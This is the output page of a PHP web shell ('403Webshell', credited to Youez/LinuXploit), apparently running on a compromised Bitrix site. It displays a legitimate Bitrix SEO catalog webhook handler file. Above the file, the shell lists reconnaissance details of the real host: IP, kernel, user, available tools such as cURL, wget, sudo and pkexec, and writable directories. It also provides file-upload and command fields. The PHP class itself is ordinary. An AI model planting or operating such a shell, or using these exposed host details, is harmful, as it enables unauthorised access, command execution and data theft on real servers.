403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/seo/lib/catalog/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/seo/lib/catalog/catalogwebhookhandler.php
<?php

namespace Bitrix\Seo\Catalog;

use Bitrix\Seo\Engine;

use Bitrix\Main\Error;
use Bitrix\Main\Event;
use Bitrix\Main\Request;
use Bitrix\Main\Result;
use Bitrix\Main\Web\JWT;
use Bitrix\Main\EventManager;
use Bitrix\Main\Application;
use Bitrix\Main\Engine\Response\Json;


class CatalogWebhookHandler
{
	/**@var Request $request*/
	private $request;

	/**@var Engine $engine*/
	private $engine;

	/**@var EventManager $eventManager*/
	private $eventManager;

	/**@var Application $eventManager*/
	private $application;

	public function __construct(
		Request $request,
		Engine $engine,
		EventManager $eventManager,
		Application $application
	)
	{
		$this->request = $request;
		$this->engine = $engine;
		$this->eventManager = $eventManager;
		$this->application = $application;
	}

	private function verifyRequest() : Result
	{
		$result = new Result();

		$authToken = $this->request->getHeader('Authorization');
		if (!$authToken)
		{
			$authToken = \Bitrix\Main\Context::getCurrent()->getServer()->get('REMOTE_USER');
		}
		if (!$authToken)
		{
			$result->addError(new Error('wrong request'));
			return $result;
		}

		$authToken = substr($authToken, strlen('Bearer '));
		$engineClientSecret = $this->engine->getClientSecret();
		$authTokenSalt = mb_substr($authToken, 0, 8);
		$isAllowedToken = $authToken === $authTokenSalt . md5($authTokenSalt . $engineClientSecret);
		if (!$isAllowedToken)
		{
			$result->addError(new Error('Invalid client credentials'));
		}

		return $result;

	}

	private function run() : Json
	{
		$result = $this->verifyRequest();

		if (!$result->isSuccess())
		{
			return $this->buildErrorResponse(
				$result->getErrorCollection()->current()
			);
		}

		$this->eventManager->send(
			new Event('seo', 'OnCatalogWebhook', ['payload' => $this->request->toArray(),])
		);

		return $this->buildResponse();
	}


	public function handle(): void
	{
		$response = $this->run();
		$this->application->end(200, $response);
	}

	private function buildErrorResponse(Error $error): Json
	{
		return new Json([
			'error' => [
				'message' => $error->getMessage(),
				'code' => $error->getCode(),
			],
			'data' => [],
		]);
	}

	private function buildResponse(): Json
	{
		return new Json([
			'error' => false,
			'data' => [
				'status' => 'ok'
			],
		]);
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit